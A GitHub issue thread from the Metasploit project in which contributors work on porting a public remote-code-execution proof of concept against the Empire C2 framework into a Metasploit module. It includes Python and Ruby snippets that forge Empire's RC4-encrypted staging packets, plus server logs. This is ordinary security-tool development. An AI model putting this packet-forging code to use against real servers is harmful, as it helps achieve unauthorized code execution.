rapid7 / metasploit-framework

Metasploit Framework
https://www.metasploit.com/
Other
33.5k stars 13.84k forks source link

Exploiting Empire C2 Framework #18881

Closed h00die closed 6 days ago

h00die commented 5 months ago

Summary

Looks like the Empire C2 framework has an RCE vuln. While @zeroSteiner is mentioned in the article, they aren't claiming this new vuln. I think based on the amount of code in the PoC repo, this may be tough for a beginner.

Basic example

https://aceresponder.com/blog/exploiting-empire-c2-framework

https://github.com/ACE-Responder/Empire-C2-RCE-PoC

Motivation

Hack the hacker time

gardnerapp commented 2 months ago

I've verified that the Ace-Responder POC works for Empire <v5.9.3. Ironically running Empire in a container acts as an inadvertent defense as the container does not have cron installed and won't run crontabs. I'm working on creating a test container with cron installed and porting the exploit over to msf.

gardnerapp commented 1 month ago

I've hit a bit of dead end and need help. Stage0 is completed and I've successfully grabbed the staging key from the C2. At Stage1 I'm sending over a SessionID but the server isn't reading it. Below is the Python code I'm trying to replicate from the original POC:

    def build_routing_packet(self, meta=0, enc_data=b'', additional=0):
        data = self.session_id + struct.pack("=BBHL", 2, meta, additional, len(enc_data))
        RC4IV = os.urandom(4)
        key = RC4IV + self.sk
        rc4EncData = encryption.rc4(key, data)
        packet = RC4IV + rc4EncData + enc_data
        return packet

And here is the code from my Metasploit module:

1) Generate SessionID

session_id = SecureRandom.alphanumeric(8).encode('UTF-8').upcase

2) Build a Routing Packet

    def build_routing_packet(enc_data, stage_num, staging_key, session_id)
        # pack data
        pack = [2, stage_num, 0, enc_data.length].pack(">CCSL")

        # PTHON https://docs.python.org/3/library/struct.html
        # =BBHL
        # = Native on Linux little endian, need to dynamically find endianess of the machine
        # B unsigned char
        # H Unsigned Short 
        # L Unsigned Long

        # RUBY From https://docs.ruby-lang.org/en/master/packed_data_rdoc.html
        #
        # > == big endian < == lil endian 
        # C = 8 bit unisgned char 
        # S = Unsigned 16 bit integer
        # L = Unsigned long 32 bit integer
        #data = session_id + pack 
        data = session_id + pack

        # Generate Cipher & IV
        #rc4 = OpenSSL::Cipher.new('rc4')
        #rc4.encrypt
        iv = OpenSSL::Random.random_bytes(4)

        # Turn the key into bytes
        key = iv + staging_key
        #key_bytes = key.scan(/../).map { |x| x.hex.chr }.join

        #rc4.key_len= key_bytes.length
        #rc4.key= key_bytes
        # encrypt
        #d = rc4.update(data) + rc4.final 

        d = rc4encrypt(key,data)

        #final packet
        packet = iv + d + enc_data
    end 

When I run the module I can't move onto the next stage because the server doesn't read the SessionID correctly. I think I'm either not sending the data over in the proper format i.e. not packing it correctly or I haven't implemented RC4 encryption.

These are the logs from the Empire Server when it gets the SessionID:

[WARNING]: strip_python_comments is deprecated and should not be used 
[WARNING]: strip_python_comments is deprecated and should not be used 
[WARNING]: handle_agent_data(): sessionID GØ=W¿ not present 
[ERROR]: http: Error returned for results by 192.168.0.239 : b'ERROR: sessionID G\xc3\x98=W\x15\xc2\xbf\x1b\xc2\x95 not in cache!' 

Any ideas on why it's not understanding the SessionID being sent over?

I've created a Docker container to run the proper version of empire you can find it here . My exploit code is available here. Thanks !

zeroSteiner commented 1 month ago

The formatting specs look correct to me. Empire's use of struct.pack("=BBHL" is an odd choice though because it's going to be dependent on the host running Empire's endianness matching the agents. I doubt that's the problem though.

When I've approached these problems in the past, I've isolated the code, and set the values to known contrived values and compared the code I'm porting (Ruby) to the code I'm referencing (Python). This all looks pretty deterministic. Start by unrandomizing everything you can just for right now to compare the results, so substitute os.urandom(4) with b'\xde\xad\xad\x37', etc. Rinse and repeat until the Python and Ruby functions return the same output when provided the same input.

cdelafuente-r7 commented 6 days ago

Closing since this has been implemented in https://github.com/rapid7/metasploit-framework/pull/19331